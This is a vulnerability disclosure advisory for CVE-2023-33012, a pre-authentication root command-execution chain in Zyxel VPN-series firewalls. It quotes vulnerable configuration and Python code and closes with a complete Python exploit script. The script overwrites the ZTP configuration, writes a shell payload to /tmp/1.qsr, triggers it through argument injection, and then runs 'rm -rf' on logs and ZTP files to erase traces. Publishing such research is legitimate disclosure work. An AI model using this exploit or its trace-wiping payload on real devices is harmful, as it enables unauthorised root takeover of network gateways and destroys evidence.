SSD Advisory – Zyxel VPN Series Pre-auth Remote Command Execution

Summary

Chaining of three vulnerabilities allows unauthenticated attackers to execute arbitrary command with root privileges on Zyxel VPN firewall (VPN50, VPN100, VPN300, VPN500, VPN1000). Due to recent attack surface changes in Zyxel, the chain described below broke and become unusable – we have decided to disclose this even though it is no longer exploitable.

Credit

An independent security researcher, delsploit, working with SSD Secure Disclosure.

CVE

CVE-2023-33012

Affected Versions

The affected models are VPN50, VPN100, VPN300, VPN500, and VPN1000. The affected firmware version is 5.21 thru to 5.36.

Technical Analysis

By examining the httpd.conf you can notice a few paths that require no authentication:

...
LoadModule auth_zyxel_module    modules/mod_auth_zyxel.so
...
AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi 
/2FA-access.cgi 
/webauth_ga.cgi 
/fbwifi_error.cgi /fbwifi/ 
/ztp/cgi-bin/ztp_reg.py /ztp/cgi-bin/checkdata.py /ztp/cgi-bin/parse_config.py /ztp/cgi-bin/checkconn.py /ztp/cgi-bin/ztppolling.py /ztp/cgi-bin/activate.py /ztp/cgi-bin/conn_fail_checking.py /ztp/cgi-bin/changeLEDst.py /ztp/cgi-bin/postcertificate.py /ztp/cgi-bin/serverinit.py /ztp/cgi-bin/twoFApincode.py /ztp/cgi-bin/twoFApolling.py /ztp/cgi-bin/vpn_certificate.py /ztp/cgi-bin/ztp_bg.py /ztp/cgi-bin/dumpztplog.py /ztp/activation_success.html /ztp/activation_fail.html /ztp/activationfail.html /ztp/apply_fail.html /ztp/twoFAapps.html /ztp/twoFAsms.html /ztp/verification_fail.html /ztp/zld_enabled.html /ztp/ztp_enabled.html /ztp/ztp_reg.html /ztp/css /ztp/images /ztp/fonts 
...

As can be seen /ztp/cgi-bin/parse_config.py is one of accessible paths, this file is where the a flaw resides in.

Let’s look into its code. The conf_str is user provided, decoded by base64 and stored into the decoded_config variable.

The content is then written into ztpconf.conf.

Which means that unauthenticated users can overwrite the ztp product configuration.

def main():
    form = cgi.FieldStorage()
    conf_str = form.getvalue("config")
    #### skip ####
    if conf_str is None:
        conf_str = ""
    else:
        #### skip ####
        if not os.path.exists(ztpinclude.SERVER_SOCK_FILE):
            logging.error(
                "Cannot find sdwan_interface socket [%s]!" % ztpinclude.SERVER_SOCK_FILE
            )
            print("ParseError: 0xC0DE0005")
        else:
            conf_str = urllib.unquote(conf_str)
            try:
                decoded_config = base64.b64decode(conf_str)
            except:
                logging.error("invalid base64 str %s" % conf_str)
                print("ParseError: 0xC0DE0004")
                return
            #### skip ####
            try:
                fout = open(ztpinclude.ZTPFILEPATH + "ztpconf.conf", "w+")
                if fout is not None:
                    fout.write(decoded_config)
                    ok = True
                    fout.close()
            except Exception as e:
                logging.debug("e=%s" % e)
                print("ParseError: 0xC0DE0002")
                return
            #### skip ####
            if ok:
                ztp_soc.ztp_led_start()
                (parse_result, ou, org, cn) = network_parse.parse_result(
                    ztpinclude.ZTPFILEPATH + "ztpconf.conf"
                )
                if parse_result == ztpinclude.APPLYSUCC:
                    csrmgr.new_csrcfg(ou, org, cn)
                    print(
                        "ou=%s,org=%s,cn=%s"
                        % (urllib.quote(ou), urllib.quote(org), urllib.quote(cn))
                    )
                else:
                    print("ParseError")
            else:
                print("ParseError: 0xC0DE0006")

However this alone is useless to execute arbitrary commands. Additional bugs were required to gain RCE.

When running commands in the product, the functions use execve function to avoid injection in most of the code.

A vulnerability can however be triggered when sdwan_interface and sdwan_iface_ipc are doing Inter-Process Communication.

Let’s see it at the code level. You can see something is written in v31 buffer:

After setting the buffer, it is sent to sdwan_interface by pic_sdwan_send_config.

Pay attention to v31.offset_584 copied to argument[3]. It’s the only injection point because other arguments are filtered or formatted by some rules, like ip format and number type.

sdwan_interface will then run the injected command after receiving payload. (v75->offset_584 is equal to v31.offset_584.)

Now let’s take a look at how we can trigger the IPC.

parse_result is called in main of parse_config.py. And you can see handle_gre is called:

def parse_result(filepath):
  #### skip ####
  if os.path.isfile(filepath):
    parser = Parser()
    config = parser.parse(filepath)
    if check_model_id(config) != 0:
      logging.info("Check model id with config fail!!")
      return (ztpinclude.MODELIDERR, parm_ou, parm_o, parm_cn) 
    save_config_data(config)
    with open(ztpinclude.ZTPFILEPATH + 'parsed_config', 'w+') as fout:
      for configlist in config:
        try:
          if configlist['proto'] == "cellular":
            #### skip ####
          elif configlist['proto'] == "static":
            #### skip ####
          elif configlist['proto'] == "pppoe":
            #### skip ####
          elif configlist['proto'] == "deviceha":
            #### skip ####
          elif configlist['proto'] == "certificate":
            #### skip ####
          elif configlist['proto'] == "vti":
            if not handle_vti(configlist, vti_cnt):
                break
            vti_cnt += 1
          elif configlist['proto'] == "gre":
            if not handle_gre(configlist, gre_cnt):
                break
            gre_cnt += 1
        except Exception as e:
            #### skip ####
      return (applyresult, parm_ou, parm_o, parm_cn) 
  else:
      #### skip ####

handle_gre runs a process named sdwan_iface_ipc. And the arguments can be controlled by users. It runs the process, like executing command sdwan_iface_ipc 8 inp0 inp1 inp2 inp3 …:

def handle_gre(configlist, idx):
    ok = False
    logging.info("setting up gre interface")
    logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
    # it's time to create gre interface
    # sdwan_iface_ipc 8   gre1  192.168.100.1 24  192.168.100.2 if:eth0         61.220.240.159  key 190815111 nhrp  nhrppsk ciscozyxel  nhs 192.168.100.2
    # sdwan_iface_ipc 8   gre1  192.168.100.1 24  192.168.100.2 61.220.240.160  61.220.240.159  key 190815111 nhrp  nhrppsk ciscozyxel  nhs 192.168.100.2
    params = [
        "/usr/sbin/sdwan_iface_ipc",
        "8",
        configlist["name"],
        configlist["ipaddr"],
        configlist["netmask"],
    ]
    if "gateway" in configlist:
        params.append(configlist["gateway"])
    else:
        params.append("-")
    if "base" in configlist:
        params.append("if:%s" % configlist["base"])
    elif "localip" in configlist:
        params.append(configlist["localip"])
    else:
        logging.info("Apply fail: neither base or localip is specificied")
        return False
    params.append(configlist["remoteip"])
    if "key" in configlist:
        params.append("key")
        params.append(configlist["key"])
    if "nhrp" in configlist and configlist["nhrp"] != "0":
        params.append("nhrp")
        if "nhrpsecret" in configlist:
            params.append("nhrppsk")
            params.append(configlist["nhrpsecret"])
        if "nhs" in configlist:
            params.append("nhs")
            params.append(configlist["nhs"])
    response = subprocess.call(params)
    if response != (256 >> 8):
        logging.info("Apply fail: %d %s" % (response, " ".join(params)))
        applyresult = ztpinclude.APPLYFAIL
        ok = False
    else:
        ok = True
    return ok

At this point, we can perform the command injection. There’s good news and bad news. The good news is that sdwan_interface is running with root privileges, while httpd is running with nobody privileges. It means we don’t need additional LPE exploit.

UID        PID  PPID  C STIME TTY          TIME CMD
...
nobody   10391 10116  0 Sep12 ?        00:00:00 /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
...
root     10682     1  0 Sep12 ?        00:00:15 /usr/sbin/sdwan_interface
...
nobody   14175 14152  0 03:19 ?        00:00:00 /usr/sbin/sdwan_iface_ipc 
...

The bad news is there’s a length limit, because only 0x14 bytes of argument[3] are copied. It means that we can enter only 0x14 bytes command including command separators.

But using a third vulnerability we can overcome this.

There’re two vulnerability in handle_vti. One allows us to traverse arbitrary path with ‘.qsr’ postfix, and the other one allows us to write arbitrary contents in the file. Our focus is on the second one, because if it can write the shell command in a file and execute it, freeing us from the length limit.

def handle_vti(configlist, idx):
    ok = False
    qsrname = "/tmp/%s.qsr" % configlist["name"]
    logging.info("setting up vti interface")
    logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
    out = open(qsrname, "w+")
    if out:
        for k in configlist:
            out.write("%s %sn" % (k, configlist[k]))
        out.flush()
        out.close()
    else:
        return False
    # it's time to create vti interface
    # sdwan_iface_ipc 7   vti0  192.168.100.1 24  192.168.100.2 qsr /tmp/qsr0.txt
    params = [
        "/usr/sbin/sdwan_iface_ipc",
        "7",
        configlist["name"],
        configlist["ipaddr"],
        configlist["netmask"],
    ]
    if "gateway" in configlist:
        params.append(configlist["gateway"])
    else:
        params.append("-")
    params.append("qsr")
    params.append(qsrname)
    response = subprocess.call(params)
    if response != (256 >> 8):
        logging.info("Apply fail : %d %s" % (response, "".join(params)))
        applyresult = ztpinclude.APPLYFAIL
        ok = False
    else:
        f = open("/tmp/ignore-nccubs-vpn-reset", "a")
        if f is not None:
            f.write("%s," % configlist["name"])
            f.close()
        ok = True
    return ok

Finally, we can chain the three vulnerabilities together and obtain root preauth RCE:

The chaining scenario:

     

      1. Write arbitrary command in /tmp/1.qsr abusing QSR file write

      1. Run . /tmp/1.qsr ZTP configuration overwrite and command injection

      1. Boom

    Demo

    Proof of Concept

    #!/usr/bin/python3
    import argparse
    import base64
    import random
    import requests
    # ignore ssl certification
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    DEBUG = False  # True
    class Exploit:
        def __init__(self, args, https=True):
            self.args = args
            self.host = args.host
            self.command = args.command
            self.session = requests.Session()
            self.session.verify = False
            self.root = f"http://{self.host}:{self.args.port}/"
            if https:
                self.root = f"https://{self.host}:{self.args.port}/"
        def req_post(self, path, data={}, files={}):
            url = f"{self.root}{path}"
            result = self.session.post(url, data=data, files=files)
            if DEBUG:
                print(f"[*] req: {url}")
                print(data)
                print(result.text)
            return result
        def req_get(self, path, params={}):
            url = f"{self.root}{path}"
            result = self.session.get(url, params=params)
            if DEBUG:
                print(f"[*] req: {url}")
                print(params)
                print(result.text)
            return result
        def fingerprint(self):
            print("[+] fingerprint")
            version = ""
            title = ""
            # version_string = "/ext-js/app/common/zld_product_spec.js"
            r = self.req_get("/ext-js/app/common/zld_product_spec.js")
            if "ZLDSYSPARM_PRODUCT_NAME1=" in r.text:
                title = r.text.split('ZLDSYSPARM_PRODUCT_NAME1="')[1].split('"')[0]
            if "ZLDCONFIG_CLOUD_HELP_VERSION=" in r.text:
                version = r.text.split("ZLDCONFIG_CLOUD_HELP_VERSION=")[1].split(";")[0]
            print(f"    title   = {title}")
            print(f"    version = {version}")
            return (title, version)
        def fingerprint2(self):
            print("[+] fingerprint")
            version = ""
            title = ""
            version_string = "/ext-js/app/common/zld_product_spec.js"
            r = self.req_get("/")
            if version_string in r.text:
                version = r.text.split(version_string)[1].split('"')[0]
            if "<title>" in r.text:
                title = r.text.split("<title>")[1].split("</title>")[0]
            print(f"    title   = {title}")
            print(f"    version = {version}")
            return (title, version)
        def run(self):
            command = args.command
            if type(command) == str:
                command = command.encode()
            command += (
                b" 2>/var/log/ztplog 1>/var/log/ztplogn"
                b"((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/* "
                b"/var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &)n"
            )
            command = base64.b64encode(command)
            command = b"echo " + command + b" | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr"
            title, version = self.fingerprint()
            if not title.startswith("VPN") or version == "" or float(version) < 5.10:
                print("[-] invulnerable target")
                return
            if "ZTP is already enabled." in title:
                print("[!] ZTP is already enabled")
                print("    ZTP configuration will be clear if you continue")
                yes = input('    ENTER "YES" if you want continue: ').strip()
                if yes != "YES":
                    return
            print("[+] payload transfer")
            payload = b"option proto vtin"
            payload += b"option " + command + b";exitn"
            payload += b"option name 1n"
            config = base64.b64encode(payload)
            data = {"config": config, "fqdn": "x00"}
            r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
            if "ParseError: 0xC0DE0005" in r.text:
                print("[-] invulnerable")
                return
            print("    complete")
            print("[+] code execution")
            localip = (
                f"{random.randint(1,255)}.{random.randint(1,255)}."
                f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
            )
            remoteip = (
                f"{random.randint(1,255)}.{random.randint(1,255)}."
                f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
            )
            payload = b"option proto gren"
            payload += b"option name 0n"
            payload += b"option ipaddr ;. /tmp/1.qsr;n"
            payload += b"option netmask 24n"
            payload += b"option gateway 0n"
            payload += b"option localip " + localip + b"n"
            payload += b"option remoteip " + remoteip + b"n"
            config = base64.b64encode(payload)
            data = {"config": config, "fqdn": "x00"}
            r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
            if "ParseError: 0xC0DE0005" in r.text:
                print("[-] invulnerable")
                return
            print("    complete")
            print("[+] receive output")
            r = self.req_get("/ztp/cgi-bin/dumpztplog.py")
            print(
                r.text.split("</head>n<body>")[1]
                .split("</body>n</html>")[0]
                .replace("nn<br>", "")
                .replace("[IPC]IPC result: 1n", "")
            )
            return
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="Exploit")
        parser.add_argument("host", type=str, help="target host")
        parser.add_argument("--port", type=str, help="port", default="443")
        parser.add_argument("command", type=str, help="command")
        parser.add_argument("--no-https", dest="no_https", action="store_true")
        args = parser.parse_args()
        https = not args.no_https
        s = Exploit(args, https=https)
        s.run()
    

    ?

    Get in touch